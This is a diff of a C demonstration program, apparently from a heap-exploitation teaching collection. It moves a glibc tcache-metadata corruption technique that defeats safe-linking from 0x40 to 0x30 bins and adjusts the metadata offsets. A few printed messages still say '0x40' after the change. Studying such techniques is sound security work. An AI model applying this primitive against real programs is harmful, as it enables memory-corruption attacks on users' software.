@@ -40,13 +40,16 @@ int main(void) {
4040 puts ("============================================================" );
4141 puts ("\n" );
4242
43+ // force the allocation of tcache_perthread_struct
44+ free (malloc (0x60 ));
45+
4346 // Step 1: Allocate
4447 puts ("Allocate two chunks in two different t-caches:" );
4548
46- // Allocate two chunks of size 0x38 for 0x40 t-cache
47- puts ("\t- 0x40 chunks:" );
48- void * a = malloc (0x38 );
49- void * b = malloc (0x38 );
49+ // Allocate two chunks of size 0x28 for 0x30 t-cache
50+ puts ("\t- 0x30 chunks:" );
51+ void * a = malloc (0x28 );
52+ void * b = malloc (0x28 );
5053 printf ("\t\t* Entry a @ %p\n" , a );
5154 printf ("\t\t* Entry b @ %p\n" , b );
5255
@@ -70,13 +73,13 @@ int main(void) {
7073 puts ("" );
7174
7275 // Step 3: Free the two chunks in the two t-caches to make two t-cache entries in two different caches
73- puts ("Free the 0x40 and 0x20 chunks to populate the t-caches" );
76+ puts ("Free the 0x30 and 0x20 chunks to populate the t-caches" );
7477
75- puts ("\t- Free 0x40 chunks:" );
76- // Free the allocated 0x38 chunks to populate the 0x40 t-cache
78+ puts ("\t- Free 0x30 chunks:" );
79+ // Free the allocated 0x28 chunks to populate the 0x30 t-cache
7780 free (a );
7881 free (b );
79- printf ("\t\t> 0x40 t-cache: [%p -> %p]\n" , b , a );
82+ printf ("\t\t> 0x30 t-cache: [%p -> %p]\n" , b , a );
8083
8184 puts ("\t- Free the 0x20 chunks" );
8285 // Free the allocated 0x18 chunks to populate the 0x20 t-cache
@@ -86,27 +89,27 @@ int main(void) {
8689 puts ("" );
8790
8891 // Step 4: Using our t-cache metadata control primitive, we will now execute the vulnerability
89- puts ("Modify the 0x40 t-cache pointer to point to the heap value that holds our arbitrary value, " );
90- puts ("by overwriting the LSB of the pointer for 0x40 in the t-cache metadata:" );
92+ puts ("Modify the 0x30 t-cache pointer to point to the heap value that holds our arbitrary value, " );
93+ puts ("by overwriting the LSB of the pointer for 0x30 in the t-cache metadata:" );
9194
9295 // Calculate the address of the t-cache metadata
9396 void * metadata = (void * )((long )(value ) & ~(0xfff ));
9497
95- // Overwrite the LSB of the 0x40 t-cache chunk to point to the heap chunk containing the arbitrary value
96- * (unsigned int * )(metadata + 0xa0 ) = (long )(metadata )+ ((long )(value ) & (0xfff ));
98+ // Overwrite the LSB of the 0x30 t-cache chunk to point to the heap chunk containing the arbitrary value
99+ * (unsigned int * )(metadata + 0xb0 ) = (long )(metadata )+ ((long )(value ) & (0xfff ));
97100
98101 printf ("\t\t> 0x40 t-cache: [%p -> 0x%lx]\n" , value , (* (long * )value )^((long )metadata >>12 ));
99102 puts ("" );
100103
101104 puts ("Allocate once to make the protected pointer the current entry in the 0x40 bin:" );
102- void * _ = malloc (0x38 );
103- printf ("\t\t> 0x40 t-cache: [0x%lx]\n" , * (unsigned long * )(metadata + 0xa0 ));
105+ void * _ = malloc (0x28 );
106+ printf ("\t\t> 0x30 t-cache: [0x%lx]\n" , * (unsigned long * )(metadata + 0xb0 ));
104107 puts ("" );
105108
106109 /* VULNERABILITY */
107110 puts ("Point the 0x20 bin to the 0x40 bin in the t-cache metadata, containing the newly safe-linked value:" );
108- * (unsigned int * )(metadata + 0x90 ) = (long )(metadata )+ 0xa0 ;
109- printf ("\t\t> 0x20 t-cache: [0x%lx -> 0x%lx]\n" , (long )(metadata )+ 0xa0 , * (long * )value );
111+ * (unsigned int * )(metadata + 0xa8 ) = (long )(metadata )+ 0xb0 ;
112+ printf ("\t\t> 0x20 t-cache: [0x%lx -> 0x%lx]\n" , (long )(metadata )+ 0xb0 , * (long * )value );
110113 puts ("" );
111114 /* VULNERABILITY */
112115
0 commit comments